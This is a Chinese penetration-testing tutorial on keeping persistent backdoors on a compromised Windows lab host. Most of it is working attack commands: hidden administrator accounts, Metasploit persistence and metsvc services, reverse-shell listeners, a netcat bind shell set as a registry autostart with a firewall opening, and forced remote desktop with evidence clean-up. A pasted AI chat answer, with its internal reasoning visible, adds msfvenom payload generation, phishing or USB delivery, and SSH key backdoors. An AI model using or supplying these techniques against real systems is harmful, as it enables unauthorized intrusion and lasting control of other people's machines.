12.3、后渗透测试--持久化后门

攻击主机: Kali 192.168.11.106
靶机:windows server 2008 r2   192.168.11.134
 

零、为何要创建后门

当成功获取目标系统的访问权限后,需要寻找方法来恢复与目标主机的连接,而无需再进入目标系统。如果目标用户破坏了该连接,例如 重新启动计算机,此时使用后门将允许自动重新与目标系统建立连 接, 不必每次都需要进行攻击取得 meterpreter 为了后续渗透方便,所以需要创建一个后门。这样,即使连接被中断,也不会影响工作。下面将介绍创建持久后门的几种方式。
前提: 获得 meterpreter shell
创建后门的几种方式:
  1. 靶机创建隐藏用户,后期可直接使用隐藏用户登录目标主机;
  2. 通过persistence脚本安装后门;
  3. 通过metsvc服务的方式;
  4. 持久化后门netcat
  5. 通过开启远程桌面

一、靶机创建隐藏用户

1、进入靶机 
meterpreter > shell
2.创建用户 注意这里用户使用了$符号,可以起到隐藏创建用户的目的
C:\Windows\system32>  net user hacker$ Hacker_123  /add
3、将创建的用户添加到管理员组
C:\Windows\system32>  net localgroup administrators hacker$  /add
net user查看不到hacker$用户,但在靶机上还是能看到你创建的这个隐藏用户:

 可以使用hacker$/Hacker_123这个用户登录到靶机。

二、通过persistence脚本安装后门

路径:  metasploit/scripts/meterpreter/persistence.rb  ,用于创建通过启动项启动。会创建注册表,创建文件,  很容易被杀软拦截 
帮助文档:
1、执行 run persistence -S -U -X  -i  5 -p 8888 -r  192.168.11.106  这样靶机在系统登陆,用户登陆,开机,使用中每隔5秒都 会自动连接攻击机 192.168.11.106 8888 端口,缺点是容易被杀毒软件查杀
2、执行结束后,会在靶机 的C:/windows/Temp/下建立一个vbs文件( 持久脚本 ),该脚本会 自动在靶机上运行,同时 添加注册表键值 ,如下 :
3、我们下次可直接在kail攻击机器上使用下面的漏洞利用模块和攻击载荷攻击,获取靶机的meterpreter, 必须先 将靶机重启
kail攻击机器输入如下指令:
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 192.168.11.106
> set LPORT 8888    #    端口要和上面的persistence后门端口一致
> run
运行后,可以成功获得meterpreter shell:

三、通过metsvc服务的方式

路径:  metasploit/scripts/meterpreter/metsvc.rb  ,用于创建服务启动。会创建名为meterpreter的服务 ,并 在C:\Users***\AppData\Local\Temp\上传三个文件 (metsrv.x86.dll、metsvc-server.exe、metsvc.exe)   很容易被杀软拦截,且安装服务需要管理员权限 
1、运行 run metsvc将会在靶机上以Meterpreter服务的形式注册到服务列表中,并开机自动启动。
运行 run metsvc -r卸载靶机上的Meterpreter服务。
查看服务已启动:
查看进程:
端口也是启动的状态:

 这些说明靶机上已经开始监听31337端口了。

2、我们下次可直接在kail攻击机器上使用下面的漏洞利用模块和攻击载荷攻击,获取靶机的meterpreter, 必须先 将靶机重启
kail攻击机器输入如下指令:
> use exploit/multi/handler
set payload windows/metsvc_bind_tcp  指定的木马模块
set RHOST 192.168.11.134   # 靶机IP
> set LPORT 31337    # 靶机上监听的端口值31337
> run
这里一直会话每次刚创建成功就会断开, 推测是 run metsvc 被舍弃了,建议使用 exploit/windows/local/persistence。
使用 exploit/windows/local/persistence
必须先重启靶机,然后再kail攻击机器输入如下指令:
> use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp  
set LHOST 192.168.11.106  # 设置kail攻击机IP
> set LPORT 4444    # 跟 exploit/windows/local/persistence设置的LPORT相同
> run
运行后,可以成功获得meterpreter shell:

四、持久化后门netcat

nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具。nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选项。
ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)
nc的监听模式在kali下会出现问题,监听的端口会发生变化,因此推荐同学们在kali下使用ncat
1.1、 上传nc.exe至目标主机
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32  C:\\windows\\system32下的文件都有system权限(最高权限)
验证是否上传成功   ls C:\\windows\\system32 | grep nc.exe
execute -f  C:\\windows\\system32\\nc.exe -h
1.2、注册表自启动程序设置 
枚举查看注册表启动项
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
靶机上注册表该项的确没有任何值:
将nc.exe设置到注册表启动项中
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -ldp 4455 -e cmd.exe'
  • -L 选项或-l选项是将nc设置为监听模式;
  • -p 选项指定监听的端口(混淆为80,53等端口往往能穿透防火墙);
  • -e 选项可以绑定到cmd.exe这个shell程序。
查看以确定nc已经被设置到注册表启动项中
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
1.3、设置防火墙模式
打开cmdexecute -f cmd -i
当前防火墙操作模式 :netsh firewall show opmode
将nc开放的端口4455加入到目标系统防火墙规则中,入站 netsh advfirewall firewall add rule name=ncport4455  dir=in protocol = tcp action=allow localport=4455
查看目标系统防火墙端口开放状态: netsh firewall show portopening
1.4、nc连接靶机
在kail攻击机上: nc -v 192.168.11.134 4455
靶机重启后,页面弹出:
此时在kail攻击机上: nc -v 192.168.11.134 4455,ok

五、通过开启远程桌面

# 强制开启目标主机远程桌面并自动添加用户名为metasploit密码为 Meterpreter_123 的用户
run getgui -u metasploit -p Meterpreter_123 
# 上面命令会生成清理痕迹的ruby的脚本文件,位置在/root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
# 当操作完目标用户后可以使用此脚本清理痕迹、关闭远程桌面服务和删除创建的用户
run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20221207.0010.rc
模块已舍弃,建议使用模块 run post/windows/manage/enable_rdp
靶机上查看用户:

 

在kail攻击机器上远程登录靶机: rdesktop -u metasploit -p Meterpreter_123 192.168.11.134:3389

六、参考

<think>好的,我现在需要回答用户关于如何在Kali Linux中设置后门的问题。首先,我得确保自己正确理解用户的需求。用户可能想了解渗透测试中常用的后门设置方法,用于安全评估。需要注意的是,这些技术只能用于合法授权的测试,未经允许使用是非法的。 接下来,我应该回忆Kali Linux中常用的工具。Metasploit Framework 是最常用的渗透测试工具之一,生成Payload和设置监听器是常见做法。还有像MSFVenom这样的工具可以生成不同类型的后门程序。此外,SSH后门也是一种常见方法,通过添加授权密钥或修改配置保持访问权限。 然后,我需要考虑用户可能的疑问点。比如,如何生成Payload,如何设置监听器,如何维持持久访问,以及如何避免被检测。同时,用户可能对后门的类型和适用场景不太清楚,需要简要说明。 根据提供的引用内容,引用[1]提到了SSH隧道和端口转发,引用[3]和[4]涉及Metasploit的使用,这可能与生成Payload有关。引用[4]提到MS12-020漏洞,但用户的问题是关于后门设置,所以重点可能在Metasploit的利用模块和后门生成。 现在,我需要整理步骤。首先使用MSFVenom生成Payload,然后设置Metasploit的监听器。接着,通过执行Payload获得反向连接。另外,SSH后门的方法也是可行的,比如添加SSH密钥或修改sshd配置。最后,可能需要考虑持久化机制,如cron任务或启动脚本。 需要注意的是,每个步骤都需要具体命令示例,并且提醒用户合法使用的必要性。此外,生成的相关问题应围绕后门检测、加固措施、持久化技术和其他工具方法展开。 检查是否有遗漏点,比如Payload的类型(如exe、Python脚本等),以及如何将后门传播到目标机器。用户可能需要知道如何诱使目标执行Payload,但这可能超出当前问题范围,但可以简要提及。 最后,确保回答结构清晰,分步骤说明,代码块正确使用$$格式,引用正确标注。例如,Metasploit的安装和启动命令来自引用[3],SSH隧道的例子来自引用[1]。 总结回答应包括:生成Payload、设置监听器、执行Payload、持久化后门(SSH方法)、注意事项和相关问题。</think>### Kali Linux中设置后门的步骤 在Kali Linux中设置后门通常用于渗透测试的权限维持阶段,以下是两种常见方法: --- #### **方法1:使用Metasploit生成反向Shell后门** 1. **生成Payload** 使用`msfvenom`创建恶意程序(如可执行文件或Python脚本): ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> -f exe > backdoor.exe ``` 参数说明: - `-p`: 指定Payload类型(如`windows/meterpreter/reverse_tcp`) - `LHOST/LPORT`: 攻击者的IP和监听端口 - `-f`: 输出格式(如`exe`、`python`等)[^3][^4]。 2. **设置Metasploit监听器** 启动Metasploit并配置反向TCP处理模块: ```bash msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <攻击者IP> set LPORT <监听端口> exploit ``` 此步骤等待目标机器执行后门程序并建立连接[^3][^4]。 3. **触发后门** 将生成的`backdoor.exe`通过钓鱼邮件、U盘等方式投放到目标机器并执行。成功后,攻击者会获得Meterpreter会话,可执行文件操作、键盘记录等。 --- #### **方法2:SSH后门(适用于Linux目标)** 1. **添加SSH公钥** 在目标机器的`~/.ssh/authorized_keys`文件中插入攻击者的公钥: ```bash echo "ssh-rsa <攻击者公钥>" >> ~/.ssh/authorized_keys ``` 此后可通过`ssh user@目标IP`直接登录[^1]。 2. **修改SSH服务配置** 编辑`/etc/ssh/sshd_config`,启用以下选项以维持持久访问: ```bash PermitRootLogin yes PasswordAuthentication yes ``` 重启SSH服务:`systemctl restart sshd`。 --- #### **注意事项** - 后门程序可能被防病毒软件检测,需进行混淆或加密(如使用`Veil-Evasion`工具)。 - 所有操作需在合法授权范围内进行,禁止非法使用[^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值